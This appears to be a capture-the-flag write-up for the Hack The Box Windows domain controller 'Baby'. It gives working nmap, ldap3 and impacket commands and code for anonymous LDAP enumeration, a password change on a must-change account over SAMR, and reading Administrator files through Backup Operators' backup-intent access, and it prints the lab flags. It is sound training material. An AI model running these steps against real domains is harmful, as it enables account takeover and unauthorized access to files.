Baby
LDAP anonymous bind leaks an initial password in a user description; the target user (Caroline.Robinson) has STATUS_PASSWORD_MUST_CHANGE set, allowing password reset via SAMR; Backup Operators group membership enables direct flag read via FILE_OPEN_FOR_BACKUP_INTENT over SMB.
contents

Baby — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Baby |
| IP | 10.129.234.71 |
| OS | Windows Server 2022 (Build 10.0.20348) |
| Domain | baby.vl |
| Hostname | BabyDC.baby.vl |
| Difficulty | Easy |
| Key Topics | LDAP anonymous enumeration, STATUS_PASSWORD_MUST_CHANGE, Backup Operators, SeBackupPrivilege |
Overview#
Baby is a Windows Active Directory Domain Controller. An anonymous LDAP bind exposes a user description containing a plaintext initial password. A non-visible domain user (Caroline.Robinson) has this password set with a must-change flag, allowing the password to be changed without prior authentication via SAMR. Caroline is a member of the Backup Operators built-in group, granting SeBackupPrivilege which permits reading any file on the system — including both flags — directly over SMB using the FILE_OPEN_FOR_BACKUP_INTENT flag.
Reconnaissance#
Port Scan#
nmap -Pn -sV -sC -p- -T4 --min-rate 2000 10.129.234.71Key open ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | AD authentication |
| 389/636 | LDAP/LDAPS | Anonymous bind permitted |
| 445 | SMB | Signing enabled and required |
| 3389 | RDP | CN=BabyDC.baby.vl |
| 5985 | WinRM | Evil-WinRM target |
SMB signing is required, ruling out NTLM relay attacks. No web services present. Clock skew of approximately 7h47m was detected — relevant for Kerberos but not NTLM (the DC embeds its own timestamp in NTLM challenges).
Enumeration#
Anonymous LDAP Bind#
The DC permitted anonymous LDAP connections. A recursive search for user objects revealed 9 accounts across two OUs (OU=dev, OU=it). One account stood out:
from ldap3 import Server, Connection, SUBTREEconn = Connection(Server('10.129.234.71', get_info='ALL'), auto_bind=True)conn.search('DC=baby,DC=vl', '(&(objectClass=user)(objectCategory=person))', SUBTREE, attributes=['sAMAccountName', 'description'])Teresa.Bell — OU=it:
description: Set initial password to BabyStart123!Group Membership Enumeration#
The anonymous LDAP query for standard user objects did not return Caroline.Robinson. However, querying the Backup Operators built-in group membership revealed her account:
conn.search('DC=baby,DC=vl', '(cn=Backup Operators)', SUBTREE, attributes=['member'])# Returns: CN=Caroline Robinson,OU=it,DC=baby,DC=vlCaroline.Robinson resides in OU=it but was hidden from the standard anonymous user enumeration ACL.
STATUS_PASSWORD_MUST_CHANGE Confirmation#
An LDAP NTLM bind attempt for Caroline.Robinson with the discovered password returned LDAP error data code 773 (Microsoft-specific: ERROR_PASSWORD_MUST_CHANGE), confirming:
- The password
BabyStart123!is correct for Caroline.Robinson. - The account has a must-change-password flag set.
Note: SMB NTLM login via impacket SMBConnection.login() returned STATUS_LOGON_FAILURE (0xC000006D) for this case — some tools conflate this with a wrong password. The LDAP bind error code and SAMR change path are the definitive indicators.
Exploitation — User Flag#
Password Reset via SAMR#
The SAMR SamrUnicodeChangePasswordUser2 RPC call does not require prior authentication — it accepts the old password and sets a new one atomically. With the initial password known, the change was performed over RPC-SAMR:
python3 changepasswd.py 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.234.71' \ -newpass 'BabyHack2024!' \ -protocol rpc-samrOutput:
[*] Changing the password of baby\Caroline.Robinson[*] Password was changed successfully.User Flag via SMB#
With active credentials, the user flag was retrieved directly over SMB:
from impacket.smbconnection import SMBConnectionsmb = SMBConnection('10.129.234.71', '10.129.234.71')smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')# Read C$/Users/Caroline.Robinson/Desktop/user.txtUser Flag: 2df563e8ac7d83a07a53dc54193f89e4
Privilege Escalation — Root Flag#
Backup Operators — SeBackupPrivilege#
Caroline.Robinson is a member of the Backup Operators built-in group, which grants SeBackupPrivilege. This privilege allows the holder to bypass file ACLs for backup purposes. Over SMB, this is exercised using the FILE_OPEN_FOR_BACKUP_INTENT flag in the CreateFile / NtCreateFile call.
A standard SMB read of C:\Users\Administrator\Desktop\root.txt returned STATUS_ACCESS_DENIED (0xC0000022). Opening the same path with FILE_OPEN_FOR_BACKUP_INTENT succeeded:
from impacket.smbconnection import SMBConnectionsmb = SMBConnection('10.129.234.71', '10.129.234.71')smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')# FILE_OPEN_FOR_BACKUP_INTENT = 0x4000 combined in CreateOptionstid = smb.connectTree('C$')fid = smb.openFile( tid, r'\Users\Administrator\Desktop\root.txt', desiredAccess=0x20089, shareMode=0x7, creationOption=0x4020, # FILE_OPEN_FOR_BACKUP_INTENT | FILE_NON_DIRECTORY_FILE creationDisposition=0x1 # FILE_OPEN)data = smb.readFile(tid, fid, 0, 1024)print(data.decode())Root Flag: 4d27bc99f6babec4ade47fbbbc839f38
Obstacles & Lessons Learned#
NTLM vs LDAP Error Codes for PASSWORD_MUST_CHANGE#
The most significant obstacle was incorrect diagnosis of the password state. Impacket’s SMBConnection.login() returns STATUS_LOGON_FAILURE (0xC000006D) when the DC sends STATUS_PASSWORD_MUST_CHANGE (0xC0000224) — at least under the SMBv3 + NTLMv2 negotiation impacket uses by default. This caused extensive wasted effort trying to confirm clock skew as a cause and attempting many alternative attack paths.
Lesson: When a password hint is found in LDAP (especially Set initial password to), test via LDAP NTLM bind rather than SMB login — LDAP returns a Microsoft-specific error code (data code 773) that unambiguously identifies the must-change state.
Clock Skew and Kerberos#
The attacker machine had a ~7h47m clock skew relative to the DC. All Kerberos-based attacks (AS-REP roasting with GetNPUsers, Kerberoasting) would fail without clock sync, and timedatectl/ntpdate were not available or permitted. This limited authentication to NTLM and SAMR paths — which was sufficient for this machine.
Lesson: NTLM authentication is clock-skew-immune because the DC embeds its own timestamp in the NTLM challenge (NTLMSSP_AV_TIME), and the client uses that instead of its local clock. Always fall back to NTLM when Kerberos is unavailable.
Caroline.Robinson Not in Standard LDAP User Enum#
The target user was not returned by a standard anonymous LDAP search for (&(objectClass=user)(objectCategory=person)). She appeared only when explicitly querying group membership of privileged groups (Backup Operators, IT). This is a common ACL pattern on AD deployments — individual user objects can have restricted read ACLs that prevent anonymous browsing.
Lesson: Always enumerate group members (especially privileged groups: Domain Admins, Backup Operators, Remote Desktop Users, Administrators) separately from the user object search.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | TCP/UDP port scanning, service fingerprinting |
| ldap3 (Python) | Anonymous LDAP enumeration, NTLM bind testing |
| impacket changepasswd.py | SAMR password change for must-change accounts |
| impacket SMBConnection | SMB file access with FILE_OPEN_FOR_BACKUP_INTENT |
| impacket secretsdump | NTDS.dit offline hash extraction (attempted) |